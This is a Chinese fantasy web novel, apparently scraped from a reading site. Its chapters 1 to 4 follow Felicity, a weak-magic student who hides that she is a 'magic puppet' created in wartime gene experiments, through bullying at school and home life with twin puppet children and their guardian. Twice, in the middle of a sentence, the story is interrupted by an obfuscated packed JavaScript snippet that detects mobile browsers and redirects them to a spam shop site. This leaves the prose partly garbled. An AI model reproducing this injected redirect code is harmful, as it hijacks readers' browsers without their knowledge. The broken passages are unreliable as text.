《谁家的魔偶还没人领啊?》 1. 《魔偶一百问》 “今天补修考察的内容是火球术。” 身穿红色法袍的年轻女老师在空中虚划几笔,一枚火球便在空中凝聚,随着时间推移愈加明亮。 随着她手指的挥动,火球迅速绕着整个树屋教室走了个来回。 “只要能维持五秒以上,我就算你们补修通过。” 教室顿时喧闹起来,不少人面露喜色。 火球术作为火系魔法的基础,是大部分人学习战斗魔法的入门课。可以说,今天的补修已经将“不想为难即将毕业的高年级生”摆在明面上了。 很快,微弱的火球便在教室各个角落亮起。 每个人的脸上都是补考必过的兴奋。 除了菲莉西蒂。 因为是第一次参加补考,菲莉西蒂用了一个星期提前准备,虚心请教了学院里曾经重修过上百次的同学,并为他补习了自己唯一擅长的魔法理论课程,最后终于得到了他的重修著作——《教你如何重获新生》,以及一个饱含祝福的亲笔签名。 为了通过今天的考试,昨晚她甚至是抱着那本书入睡的。 可偏偏考的是攻击魔法。 菲莉西蒂最不喜欢的魔法之一。 她低着头,用学院发的补考法杖装模作样地在空中比划,试图躲避监考官的死亡视线攻击。 如果可以忽略她蓬松卷发下已经通红的脸,那的确是极具欺骗性的行为。 有什么比补考老师是自身班主任更尴尬的事吗? 有,那就是班主任从心底里清楚知道你在装模作样。 想到这,菲莉西蒂的脸就更红了。 科琳皱眉看向这个在她眼中最引人注目的学生。其他人哪怕基础再差,周围都会有微弱的元素波动,而菲莉西蒂的身边却只有零星几点。 这说明她体内用于储备魔力的核心过弱,才会使大部分元素粒子都忽略了她的存在。 用最简单的话来说——毫无魔法天赋。 科琳轻轻叹了口气。 要只是这样还算不上糟糕。 虽说现今生活中的方方面面都与魔法息息相关,但对于一些无法施展魔法的人而言,还有修习体术这条道路可走。同等级下,极少数人甚至可以凭借纯粹的武力直面高阶魔法师。 可和同级生相比,菲莉西蒂的身体素质偏弱,同样无法修习体术。 科琳沉思片刻,终于还是出声:“考生139号,和我出来下。其他人继续补考,待会会有其他监考官来替我统计成绩。” 无视周围探究的目光,菲莉西蒂低着头迅速站起,手指绞在一起,小步跟在科琳身后。黑色长卷发遮住了她的表情,只有耳尖还透着红。 科琳迅速把菲莉西蒂领回了自己的办公室。 里面杂乱得惊人。 魔法仪器堆满了各个角落,书桌上放着十几本摊开的卷宗,书页间夹着一大堆写满潦草笔记的纸条。墙角还立着几个玻璃罐,里面浸泡着颜色诡异的植物标本。 科琳用法杖轻点,杂乱的空间便自动整理出勉强能坐人的位置。 “坐。”她指了指那张刚被清理出来的椅子。 菲莉西蒂摇头,双手紧抓着黑色学生法袍边缘,怯生生地说:“科琳老师,您就直接和我说吧,我站着就好。” 科琳没有强求。 她扶额,难得感到些许头疼。 “菲莉西蒂,虽然我不清楚,为什么自入学起一直都是理论考试第一的你,这次会空出一整面题没答,但按我对你平常实践课表现的了解,这次补考你是无法及格的。” 在以往的考试里,菲莉西蒂会靠着理论成绩,把接近零分的实践成绩拉到及格线上。可这次不知为何,她理论竟考得一塌糊涂,第一次沦落到参加补考的地步。 “按照惯例,我得和挂科学生的家长进行教育方面的深入交流。” 果不其然,一听到这个,菲莉西蒂还有些红的脸顿时变得极为苍白。 科琳紧盯着眼前开始局促不安的学生,正色道:“我知道你哥哥在前年已经考入高级学院,所以这次不准再让你哥来,我必须见你父母一面。” 她着重强调了“父母”一词。 菲莉西蒂眼神四处飘动,就是不看班主任的目光,手也不抓衣袍了,改成背在身后:“科琳老师,您知道的,我父母不在本地工作,一时半会赶不回来……” 瞥到班主任的脸越变越青,周围甚至有火星冒出,棕色的头发尾部也有火焰缠绕,她赶紧补充道:“但我有个亲戚在这里照顾我,他可以来吗?” 科琳忍住想要发火的冲动。 自从她接手这个班后,每次家长面谈,菲莉西蒂的父母从未出席过,都是她的哥哥来代为传达。身为班主任的她有着全班同学的名册表,自然知道菲莉西蒂目前是和自己的亲戚暂住。 如果不是菲莉西蒂实在乖巧懂事,并多次表示她的父母非常爱她,她一定会想办法到这对把孩子丢给远房亲戚多年的父母面前,用威力最大的火焰让他们知道自己的厉害。 但接收到眼前少女小心翼翼的目光后,全系知名暴脾气的科琳老师只是轻拍着菲莉西蒂的肩膀,言语平和:“当然可以。但是,菲莉西蒂,如果你的父母赶回来了,请一定让我和他们见上一面。” 她微笑道:“没有父母会想要缺席孩子的成长,不是吗?” 菲莉西蒂乖巧点头,琥珀色的大眼睛一眨一眨,似是对科琳的话语非常赞同。只是她背在身后的双手正紧紧交握,指甲深深陷进掌心,留下一道道痕迹。 在菲莉西蒂离开之际,科琳又把她喊住,拿出一本书,说是送给她的安慰礼物。 “难得见你理论部分有不擅长的地方,这本书主要讲的就是你失分最多的内容,不能因为是课堂上额外补充的知识就松懈学习哦。” 科琳难得俏皮地朝她眨眼,眉眼散去严厉后恢复本有的温柔。 菲莉西蒂很难想象,外表看上去如此年轻的女老师居然是一位二阶中级魔法师。 按照实力水平,魔法师共分为初、中、高三级,每级从低到高分三阶。 “升阶如登天,越级需百年。” 这是所有人学习魔法入门时,所学必修教材上由编者亲手写下的一句话。虽然这句话明显有夸大成分,但也极致说明了魔法师等级提升的困难程度。 正因如此,当翻看教师简介发现科琳是中级魔法师时,班上还有人在打赌科琳老师是用魔法伪装了外貌,结果就是被正巧经过门口的班主任科琳拧着耳朵,拖去办公室解惑,但事后依旧不了了之。 以至于这件事成为第八中级魔法学院的十大未解之谜之一。 但不管真相如何,科琳是好老师这点是大家都认同的事实。 菲莉西蒂认真接过书。书封的质感很好,是她平常接触不到的贵重品,深棕色的皮质封面烫着显眼的标题—— 《魔偶一百问》。 她的指尖几乎无法察觉地颤抖了一下。 “谢谢老师。”她认真道谢,得到科琳示意后便快步离开。 补考教室里,一大半的人已经成功,只有零星几个人还在艰难奋斗。朝监考官示意后,菲莉西蒂抱着书回到自己的位置整理好东西,就打算直接离开。 与其在这里假装挥舞法杖,她不如早点回去想想,该怎么和她现今名义上的监护人诺里解释她挂科并被请家长的事。 位于大陆南部板块的希尔维斯特处处都是高耸入云的巨木,世代生活在这里的人们也早已习惯与植落相伴,房屋亦建立在树木之上,树木之间同样有通道连接。阶梯嵌在树干表面,两侧设有护栏。枝叶时不时穿插着,在风中沙沙作响。 沿着环绕巨大树干的阶梯往下走时,菲莉西蒂深吸一口气,给自己做好心理准备后,慢慢翻开了科琳送的书。 【 魔偶技术源于苍白之灾后期黑魔法师研发的基因融合魔法,旨在利用强大基因创造适应战斗的个体。 该技术在战后被全魔法界全面禁止研究,主要因其涉及到残酷的基因实验。 关于魔偶的最终处理方式,官方记载为“全部销毁”,但 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“哈哈哈哈所以说她是废物,对了!还可以去勾搭一下老师,说不定就放她过了不是~” 有人用阴湿粘稠的目光上下打量着菲莉西蒂,恶意道:“毕竟废物除了脸也没什么其它作用了。” 话落便激起周围阵阵大笑。 菲莉西蒂抿着嘴,一声不吭,在听到最后一句攻击性十足的话后也只是用手紧抱着科琳送她的书,像是抱着黑暗中唯一的温暖。 可有人还是眼尖地发现她手里的书,将其一把抢过。 “还给我!” 一向选择保持沉默让他们说完就走的菲莉西蒂立刻用快速移动魔法把书夺了回来。这是她少数能稳定施展的魔法之一,移动范围不超过五米。 在拿到书后,一股力狠狠打在她的后腰处,伴随着强烈的灼烧痛感。 以往这些人都只是跟在某人后面摆摆架势的,通常说几句不痛不痒的话就直接离开。 这还是他们第一次动手。 菲莉西蒂咬牙筑起防御屏障,但由于向她施展攻击魔法的人数过多,屏障很快就被打破。 数不清的攻击向她袭来,菲莉西蒂下意识护住腹部,身体绷紧。 或许是害怕被老师抓包,他们用的都是精神攻击魔法,只会让人感到同等攻击疼痛,并不会在身体表面留下伤口。 被自己心中认定的废物抢走了书本,男生气急败坏地用魔法旋转起了刚刚在战斗中落在地上的书,手腕用力一转。这本书就以极高速向菲莉西蒂冲去。 早已精疲力尽的菲莉西蒂被书狠狠撞击腹部。 “呃!” 她闷哼一声,身体跌撞在他人早已设置的空气屏障上,慢慢滑下。她忍着腹部的疼痛单膝跪倒,一只手撑住地面,另一只手紧贴着腹部。 瘦弱的身躯微微蜷缩,学生法袍下隐约可见的白皙肌肤,宛如只能摆在最高处的白瓷,仿佛只要稍稍用力,就能将美玉击碎,使其染上世俗的污泥,彻底堕落深渊。 那人刚想再踹上一脚,就猛地被一根带刺的藤蔓狠抽,脸和手瞬间皮开肉绽。 伴随着惨叫声,那人捂脸倒在菲莉西蒂身旁,手上是一道道粘附着绿色粘稠物的伤疤,血与黏物混合在一起,看上去极为恐怖。 周围瞬间安静下来,他们瞬间僵硬,显然都知道这招是谁的手笔。 菲莉西蒂当然也知道。 因为有一只手正顺着她的头发穿过,接着狠狠一抓。这股力让菲莉西蒂迫不得已仰起头,常裹在黑色法袍里的细长脖颈暴露在空气中,白得透亮。 她被迫对上了一双俯视的眼睛。 那双墨绿色的瞳孔掩成两道狭长的缝,眼尾扬起。菲莉西蒂甚至能在那双深不见底的瞳仁里,看见自己的脸。 粘腻阴冷的声音,如湿滑的蛇,直往她耳蜗里钻。 “我是不是说过,这家伙只能由我动手?” 2. 魔偶们 艾特南·埃德蒙,希尔维斯特主城的贵族继承人,和菲莉西蒂同年级,实力在整个希尔维斯特中级魔法学院都名列前茅。 所有第八中级魔法学院的学生都清楚,艾特南是个纯粹的实力至上主义者。 在他眼中,天赋、实战能力、魔法等级——这些才是衡量一个人的唯一标准。那些空有外表却弱不禁风的攀附者,在他眼里不过是一碰即碎的废物。 按理来说,菲莉西蒂和他应该毫无交集,但直到几个月前某次跨班外出实践,让艾特南彻底记住了这个一直霸榜理论考试第一的女生。 具体细节艾特南已经记不太清了。 只记得那个沉默寡言的黑发少女明明只是一直跟在队伍尾巴,连最基本的攻击魔法都不会施展,却在布置阵法的讨论环节精准指出了他的一个微小瑕疵。 一个连他的授课老师都未曾说明的理论漏洞。 那一刻,全队寂静,不少人都在偷看他的脸色。 艾特南完全不在意他人的目光,每一次失败于他而言不过是往上爬的阶梯罢了。但在和菲莉西蒂平静的目光对视后,他第一次感到脸颊发烫,血液滚烫翻涌。 这是从未有过的身体反应,而他把这个归结于第一次被弱者打败的愤怒。 自那以后,菲莉西蒂彻底成为艾特南的眼中钉,他时不时就带人对她冷嘲热讽几句,但从未动过手。 艾特南蹲在菲莉西蒂面前,浅白碎发搭在额前,恰好遮住半只眼睛。学生法袍的肩背线条被肌肉绷出利落的弧度,他一只手撑着脑袋,露在发外的绿眸透出菲莉西蒂熟悉的厌恶。 周围鸦雀无声,有人惊恐地看向那已经晕死过去的男生,身体开始止不住地颤抖。 艾特南甚至都没有看那个家伙一眼。 他只是一如既往地盯着菲莉西蒂。 还是这副样子。 永远不说话,永远冷冷地看着自己。 这不知为何让他非常烦躁。 “菲莉西蒂,”艾特南开口,带着惯常的讥讽,“就你这样,还能考上高级学院吗?” 没有回应。 菲莉西蒂眨了眨眼,只是缓慢抬起手,轻轻握住了艾特南抓着她头发的手腕。 手指很凉,触感细腻,力道非常轻。 甚至连触碰都不太算。 但艾特南依旧浑身一僵。 下一秒,他像被烫到般猛地甩开手,整个人向后仰,眉头紧紧皱起,脸上写满了毫不掩饰的嫌恶。 他呵道:“别碰我!” 表现得活像菲莉西蒂是个会吃人的塞壬。 菲莉西蒂毫无波动,缓慢撑着自己的身体站起,一眼都没看艾特南。 腹部的疼痛让她的动作有些踉跄。她不得不停顿几次,深呼吸,再继续。稍稍用力一下,脸色都变得更为苍白。 但她没有停下,也没有向任何人求助。 艾特南站在原地,看着她不紧不慢地弯腰,捡起散落在一旁的物品,将它们仔细收好,每一个动作都透着近乎固执的认真。 周围有人悄瞄脸色明显变差的艾特南,心里全是担心被迁怒的恐惧。 艾特南额角的青筋突突跳着,他盯着菲莉西蒂不紧不慢的动作,那点惯常的讥讽彻底沉进了眼底,变成某种更滚烫的东西。 他没再对菲莉西蒂说一个字,只是慢慢直起身—— “跟上。” 那声音不高,可离他最近的两人还是猛地哆嗦了一下,他们赶忙去拖地上那个晕死过去的男生。哪怕他的脑袋在粗糙的石砖路上磕出闷响,也没人敢放缓速度。 剩下的人也瞬间动了,他们急忙簇拥向艾特南,却无一人敢出声。 就在有人几乎蹭到他法袍袖口的刹那,艾特南毫无征兆地动了。 他甚至没完全转身,只是手臂向后猛地一抡。拳头就精准砸在了那人侧脸上,那人连哼都没敢哼出一声,整个人歪斜着踉跄倒下,颤抖着捂住脸,血止不住地从指缝中流出。 他是方才第一个使用魔法攻击菲莉西蒂的人。 艾特南甩了甩手腕,仿佛只是弹掉了什么脏东西,背脊挺得笔直,迈着大步离去。 在一片狼藉中,尽管已经怕得发抖,那些人依旧跌跌撞撞地跟上,逃也似的消失了。 菲莉西蒂站在原地,安静看着他们离去的背影。黄昏纱幕半挂天边,将她单薄的影子拉得很长。 虽然补考时间很晚,但方才那场狼狈的闹剧仍有零星学生目睹,他们或侧身避开视线,或压低声音匆匆议论,却始终无人敢上前帮忙。 毕竟埃德蒙家族在主城里也是极有威望的贵族,因为一个平民进而得罪贵族,也过于得不偿失了。 等原地只剩下她一个人后,菲莉西蒂才长呼一口气,小心走到一处被巨大树根环绕的僻静角落,确认周围再无人影,才终于允许自己松懈下来。 背靠着粗糙的树皮,菲莉西蒂缓缓蹲下身,将怀里的书小心放在一旁。她低下头,额头抵住膝盖。 身体在发抖。 腹部传来阵阵闷痛,刚才那本书的撞击力道并不轻。 但她担心的不是这个。 菲莉西蒂小心翼翼掀开法袍内衬的一角。腹部白皙的皮肤上,几道细密的黑色纹路正缓缓浮现。 就像精美白瓷上刺眼的裂痕,纹路很淡,不仔细看几乎发现不了。 但它的确存在,让所有懂行的人一眼就能看出,这是个残缺品。 菲莉西蒂能清楚感受到,皮肤下有物体在缓慢游走,伴随着阵阵灼热。 好恶心。 她盯着那些黑纹看了几秒,然后用力扯下内衬,将它们彻底遮盖。动作有些粗暴,布料摩擦皮肤,带来一阵刺痛。 但她不在乎。 站起身时,菲莉西蒂的脸色比刚才更苍白了些,手也在不受控地颤抖。 她闭上眼,强迫自己冷静。 要低调。 不要引起任何人的注意。 她一直做得很好。 菲莉西蒂抱着书,如什么都没发生般踏上回家的路。 她的家在主城外的一处小村庄,由于魔法普及程度较低,大部分村民都不会使用瞬移魔法,也买不起昂贵的魔力水晶,出行主要依靠魔轨列车——现今大陆最普遍的交通方式。 菲莉西蒂好不容易走到建在巨树顶端的车站时,夕阳已沉下大半,车站内嵌的照明水晶刚刚亮起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164931|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近是学院区域,站台上人影不少,除了居民,更多是像她一样穿着不同学院法袍的学生。当菲莉西蒂抱着书本,安静走到较偏僻的一角站定时,那些原本分散的视线便悄然汇聚过来。 菲莉西蒂将怀里的书抱得更紧了些,指尖无意识地摩挲着封面。她能感觉到那些目光,并微微侧过身,将脸隐入柱子投下的阴影。 其实她大概能猜到原因。 魔力低微到这种程度,在众多学院里估计都是出了名的。不管是在学院里,还是平时乘坐列车,总是会有无数视线传来。 区别只在于,有人是明目张胆地打量,有人是装作不经意地瞥,还有人,比如斜对角那个女生,已经是第三次整理袖口时抬眼看过来了。 当菲莉西蒂看回去时,她们又会红着脸移开目光。 而出于某些原因,她极度恐惧着众人的视线都汇集到自己身上。 低沉的嗡鸣由远及近,魔轨列车从空中驶入站台,它由一节节镶嵌着魔咒符文的车厢铰接而成,纹路中隐隐有光路流过。 车门滑开,菲莉西蒂随着人流走入最近的一节车厢。内部空间比外部看起来宽敞,两侧厚实的软垫长椅相对而设,中间是过道。车厢上方刻着维持恒温与稳定的小型法阵,还镶嵌着几排照明水晶,光线柔和。 车厢里已经有一些乘客。她快步找了个最角落的位置坐下,终于隔绝掉那些视线,稍稍放松下来后将书本放在膝上。 车窗外的景色飞速倒退,巨木、树屋、偶尔掠过飞行着的魔法师……希尔维斯特的傍晚总是这样宁静,仿佛战争从未在这里留下痕迹。 但菲莉西蒂知道,有些痕迹是抹不掉的。 就像她腹部的黑纹。 就像她自己。 * 菲莉西蒂回到家时,天已经暗下。 她站在门前深吸一口气,努力让脸上的表情看起来轻松一些。腹部还在隐隐作痛,黑纹已经褪去,毕竟她一路上检查了五次。 门一打开,安贝一贯的大嗓门就冲了出来。 “我下次不带那个小个子玩了!他竟然敢打我肚子!我说了多少次了不能动肚子!不懂游戏规则的笨蛋!” 餐桌旁,她的双胞胎弟弟赛卡正踮着脚把最后一个碗摆上桌,闻言头也不回地嗯嗯两声,显然没在听。但当他转过脸,视线撞见门口的菲莉西蒂时,那双金色眼睛骤然亮了起来。 “姐姐!你回来啦!” 赛卡跳着扑过来。菲莉西蒂刚弯下腰,就被他结结实实撞了个满怀,细软的金色头发蹭得她下巴发痒。她笑着揉乱他的头发,另一只手已经熟练地张开。 果然,下一秒,安贝像颗小炮弹似的直直跃进她的臂弯里。 两个孩子的拥抱紧得发疼。他们的手臂死死环住菲莉西蒂的脖子,有那么几秒,她感觉自己会与这两股毫不掩饰的依恋交融。 菲莉西蒂故意把声音憋得细细的,双手高举:“哎呀,我要被爱意淹没了。” 安贝立刻咯咯笑起来,赛卡也跟着咧嘴,两颗小脑袋蹭得更起劲了。配上两张几乎一模一样的可爱脸庞,任谁看了都会心软—— 如果可以忽略掉安贝脸颊上那片正缓缓蔓延的黑色纹路。 3. 神眷者 菲莉西蒂把安贝抱在怀里,轻抚着她略有些卷曲的浅色碎发。黑纹已经在安贝脸上蔓延,蠕动着爬到额头处。 她温柔地抚摸着女孩的头发。直到看到黑纹渐淡,最终完全消失,菲莉西蒂才稍稍松了口气。 安贝还小,作为魔偶的基因来源也并不强大。所以哪怕只是一次对腹部的轻微撞击,也会有明显黑纹产生。 在这期间,安贝不断用头蹭着她的掌心,狡黠的大眼睛眯起,一幅极为享受的模样,嘴里还时不时吐槽着隔壁小孩的笨拙。 “安贝,不准这样说朋友。” 看到菲莉西蒂故作严肃的脸,安贝吐着舌头,下巴翘得老高,“就因为她,我都变丑了!” 长得和安贝一模一样的赛卡吐槽:“本来也没多好看。” 安贝立刻狠拧自己的大腿肉。 “嗷!”赛卡痛得直跳,“你出这招是不是!” 他说着便立刻挠向肚子,安贝顿时无征兆地大笑起来,眼睛却狠瞪向自己的弟弟。 共感魔法,属于魔法体系中较为高级且难以掌握的一类魔法,至少也得是二阶中级魔法师才能做到。 但面前两位看上去十岁左右的孩童却能如此轻易地使用。 菲莉西蒂笑着看两个孩子打闹,思绪又转到今天科琳所赠予的书上。 毕竟魔偶们本就是苍白之灾时期,黑魔法师们为制造终极兵器而疯狂尝试的产物之一。 战争会催生最为扭曲的欲望。他们不再满足操控魔物与腐化生灵,开始觊觎那些在战场上几乎以一己之力扭转战局的天才们的力量。 黑魔法师们将以卑劣手段取得的基因序列,混合数以千计的基因进行强行匹配与融合,试图在培养槽中复刻出那些令人战栗的天赋。 然而,粗暴的复制注定失败。 绝大多数基因都会在融合过程中崩散,唯有极少数,死死抓住命运的一角,存活了下来。 它们被称作魔偶。 世人还有更进一步的解释——被魔王操控的怪物人偶。 也正因如此,每一个魔偶,其能力都不可预测。它们可能继承基因来源的部分特性,也可能衍生出未曾展现过的诡异天赋。 这也是魔偶能在战争中被忌惮的原因之一。 看到双方战局愈加激烈,知道他们会较真对自己下狠手,菲莉西蒂赶忙分开火药味十足的双胞胎,却不小心扯动到腹部的伤口,僵硬了几秒。 虽然菲莉西蒂迅速恢复了表情,但时刻观察姐姐的赛卡立马看出不对劲,松开扯着自己头发的手,急忙贴在菲莉西蒂身边,抓着她内衬下摆,抬头担心道:“姐姐,你受伤了?” 安贝也立刻锁定菲莉西蒂,瞳孔缩紧。 两双如出一辙的大眼睛直直盯着菲莉西蒂,大有她不回答就誓不罢休的意味。 在研究所度过的幼年让这对双胞胎在过早的年纪学会成熟。 被骂被打不能哭。 测试失败不能睡。 未达标准不能活。 魔偶没有作为人的资格——这是它们在诞生之初就被教授的规则。 研究所的魔偶们也有自己的“八卦圈”。 这来自它们在被绑在实验台上时听到的人类名词,除此之外还有“残废品”“破烂”“怪物”等它们极为熟悉的词汇。 它们还太小,没有足够的实力上战场,自然接触不到外面的世界。 它们所能目及之处,即为世界。 “八卦圈”流传的大都是魔偶们从研究员聊天中捕捉到的信息。 209号房间的魔偶姐姐最会打架,有好几个平常会打魔偶的研究员都被它一拳拳砸过,脾气最爆。 154号房间的双胞胎魔偶变异出了超高的共感魔力天赋,虽然年纪还小,但很快就会被用上。 37号房间的魔偶哥哥不爱讲话,它是从战场上淘汰下来的无用品,退回理由是危险系数极大和不可控。 以及, 1号房间的魔偶姐姐最好看。 也最怕痛。 —————— 姐姐超怕痛的! 谁敢让姐姐受伤,他们就让谁不能活! 双胞胎对视一眼,默契地点头。 菲莉西蒂光是看他们的动作就知道双胞胎又在酝酿什么奇怪的想法。她摇着头,轻拍两个浅色脑袋,正色道:“一点事都没有!不准胡思乱想!” 安贝挥舞着小拳头从沙发上跃起,嚷嚷着:“我才不信!你当我小孩啊!” 赛卡赞同地点头,头顶刚被打趴的呆毛再次翘起。 可你们的确是才幼年期的小孩呀。 菲莉西蒂笑着,脸颊边陷出一对浅浅的梨涡。 她还记得第一次见到双胞胎时,154·Ⅰ和154·Ⅱ还不叫现在的名字。 它们手牵着手,穿着带有标号的白色长袍,面无表情地站在对练台上,头发因为头部要连接魔力检测装置而全被剃光。瘦削苍白的脸颊配上毫无情绪的眼睛,是研究员最满意的一类魔偶。 任谁看到现在这对小天使,都不会把两者联系在一起。 见姐姐又发呆,安贝拉下嘴角,像发现什么证据似的,大声道:“我们就说不能去上人类的魔法学院!那是像欧拉斯这种阴暗狂才能待的地方!” 赛卡再次点头,“诺里还不相信我们,他是个坏大人!” “赛卡,注意一下措辞。”沙哑的声音从门关处传来。 男孩立马改口:“好吧,诺里是个坏小人。” 一位下巴留着胡渣的瘦弱黑发男子走进客厅,满脸疲惫地打着哈欠,取下眼镜,一挥便有水汽弥漫又消失。 他慢吞吞地戴上眼镜,有气无力道: “我们该好好讨论下你的文学课成绩了。” 男人懒散的样子却在听到双胞胎宣称菲莉西蒂疑似受伤的言论后立马消散。 一大家子名义上的监护人诺里站直身子,皱眉:“菲莉西蒂,你……” “我刚刚已经用保温魔法加热饭菜了,现在应该可以吃了。”菲莉西蒂急忙打断,并朝诺里递眼色。 之前有人欺负菲莉西蒂被欧拉斯看到过,隔天他就在练习飞行魔法时突然昏迷从高空落下。 就算随行老师及时施展救援魔法,但他不知为何还是陷入了昏迷,在病床上躺了半个多月才醒,之后就一直萎靡不振,再也没来找过菲莉西蒂,听说还有退学的风险。 虽然最后这件事以操纵失误为结果,可熟悉欧拉斯以往攻击方式的菲莉西蒂自然清楚这是谁的手笔。 但她也同样知道,如果魔偶的身份被发现,大家会有怎样的下场。 菲莉西蒂不想再因为这种小事,让好不容易逃离以前生活的大家又重回黑暗。 诺里接收到菲莉西蒂不想深入的信号,只能作罢。之后他们两个轮流上阵劝说才把双胞胎的注意力转移到晚餐上。 饭桌上,安贝和赛卡一如既往地狼吞虎咽,并时不时打闹一番。诺里则是看着对面安静吃饭的菲莉西蒂出了神。 黑发,琥珀色的眼睛,以及完美遗传血亲优点的外貌。 一想到下午欧拉斯发给他的传声,诺里就感到头大。 根据传送内容的表现方式和传送距离的远近,传声魔法所需要的法力和时间也不同。因为比起通信水晶而言,传讯内容在中途不会被任何人截取,这也是当今最安全的传讯方式。 而欧拉斯发给他的信息很简单,只有一句话。 【1号与贝拉米家族有关?】 诺里扶额:既然都确定了,就别恶趣味地加问号了。 对于欧拉斯选择前往大陆中心主城的选择,诺里其实并不意外。 以他对欧拉斯的了解,这个聪明过头的孩子一定是发现了什么才会放弃现如今安逸的生活,直奔漩涡中心而去。 只是他没想到,仅且几年的时间,欧拉斯就直接确定了菲莉西蒂的一方基因来源。 他下意识看向菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164932|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉西蒂,看着她努力用漂浮魔法帮姐弟俩分菜。在双胞胎期待的目光中,菲莉西蒂显得极为认真,黑到极致的发色在光线的折射下显得愈发有光泽。 那侧脸与发色有一瞬间让他想到了那位曾被称作“神眷者”的男人。 诺里有幸见过一次,虽然只是通过远程投影远远看过,但依旧让他至今难以忘却。 整个天空被乌云笼罩,男人插兜轻浮空中,黑色长发肆意飘动,红色双眸中满是疯狂。他仅仅只是双臂一展,无声之间,数万道雷电伴随着巨大雷鸣便直击地面。 霎那间,上千名黑魔法师花费数月时间召唤的魔物灰飞烟灭。 只一秒,定胜方。 “我们究竟…在与什么为敌?” 在场有人呢喃出所有目击研究员的心声。 此战后,塞瑟隆·奥布莱顿以残暴的战斗方式与好战的挑事性格彻底奠定在战争中不可撼动的高战力地位。 而他是当时前方战线中最年轻的一位。 在成年时就踏入高级魔法师的行列。 真正的天才。 怪物般的存在。 而在战争期间,与塞瑟隆·奥布莱顿并称的天才,还有一人。 诺里打了个冷颤,迅速将不合时宜的联想压回心底,他起身帮菲莉西蒂填饭,毫不意外得到菲莉西蒂乖巧的道谢。 他看着这孩子一点点长大。当时研究员们都知道,虽然1号是他们得到的最优秀基因魔偶,但从性能来说却是最失败的。 有许多黑魔法研究员不愿相信,如此顺利融合两个天才基因的魔偶竟然会是残废品。为了证明这种融合魔法不会有问题,他们对1号进行过许多惨绝人寰的魔法人体研究。 唯一值得庆幸的是1号痛觉阈值极低,不能一次性接受大量实验,使它能够拥有少息休整时间。 身为研究员的他有偷偷和当时还是1号的菲莉西蒂对话过。 “你为什么不喊痛?” “因为1号是乖孩子,乖孩子不能喊痛。研究员叔叔说,只要表现得乖一点,配合研究,等结束后,爸爸妈妈就会来接1号了!” 全身布满黑纹、被数不清的管子插着的1号发自真心地向这位难得和它说话的人类吐露心声,“叔叔,能不能麻烦你和爸爸妈妈说1号很乖,让他们早点来接1号?” 像是怕自己要求太过分被拒绝,1号挣扎着用布满针孔和伤痕的手轻轻抓住诺里的衣服,细声道:“就算不接1号,来看看1号也是可以的,1号很乖的,从不喊痛。” 当年还是个愣头青的诺里转过头,全身都在颤抖,依然没忍住早已在眼眶中转动的泪水。 他是在后来才得知,最初在不确定1号性能时,研究所为了防止1号暴走,编织了一个谎言: 它是被父母暂留在研究所的,只要表现好,他们就会来接它回家。 而这个只是随口一说的谎言,却是1号在无数个夜晚中选择活下去的希望。 诺里从不后悔自己乘着战乱把菲莉西蒂从研究所带了出来。 没有哪个正常人,会在看到那个躺在实验台上用尽全力忍住疼痛的孩子朝你露出微笑时,还能毫不动容。 “叔叔,我一点也不痛。” “诺里叔叔。” 两道来自不同时空的声音交叠在一起。眼前的少女已经与那个总是布满伤痕的孩童截然不同,唯有那双清澈的眼睛一如既往。 诺里点头应答。 这就是菲莉西蒂呀。 “诺里叔叔,我的班主任请您明天去学院面谈…关于我期末考核挂科的事。”菲莉西蒂小声道,低垂着头,耳朵已经红透了。 毕竟她从未在学习上让诺里操心过。 “咔哒” 诺里手中的勺子掉在盘子上。 双胞胎夸张地张着嘴巴。 菲莉西蒂红着脸把头又垂得更低些。 嗯,这就是菲莉西蒂呀。 诺里扶着心口想。 4. 初见 次日。 菲莉西蒂抵达教室时,大多数同学还没到。 希尔维斯特,位于尤格拉大陆中最为偏远的南部,古木参天,枝叶交织成巨大的绿色天幕,遮蔽了大部分天空。这样的环境赋予了它无尽的神秘,却也严重影响了该地的战后开发。 唯一能表现出较高魔力科技的魔轨列车,还是由大陆正中心城市艾瑟瑞亚出资帮忙搭建。 在这种环境下,往年能够考入高级魔法学院的学生大多来自主城,那里虽然也被森林环绕,但得益于资源的集中,人们自小就有机会接触和学习魔法。 对于居住在村落的居民来说,他们基本依靠最原始的体力劳动,在森林的缝隙中艰难求生。虽然在战后受到政策福利影响,适龄孩子能够进入初、中级魔法学院学习,整体情况得到改善,但能继续深造下去的依旧在少数。 而主城内一些富有贵族内部都会安置传送水晶直通学院,踩点对他们来说司空见惯。 但像菲莉西蒂这类每天起早赶魔轨列车并且坚持步行上树的依旧是少数。毕竟学院中也有一部分人已经学会飞行魔法,再不济也可以买个飞行仪器。 诺里也提过要不要买个给菲莉西蒂,但还是被她婉转拒绝。 原因诺里至今还未从菲莉西蒂嘴里撬出。 “菲莉西蒂!这边!” 一个充满活力的声音在她前脚刚踏进教室门就立刻响起。菲莉西蒂抬头,看见赞达坐在教室最不起眼的角落,把大半个身子都探了出来,正使劲挥动着他那略显圆润的手臂。 菲莉西蒂小跑过来刚坐下,还没来得及把布包放好,赞达又以不符合他身量的速度迅速凑过来,橘色的脑袋几乎要贴到她脸上,愤愤道: “你怎么还是走路来上学啊?假期在我家店干了那么多活,工资不是够买飞行仪器了吗?” 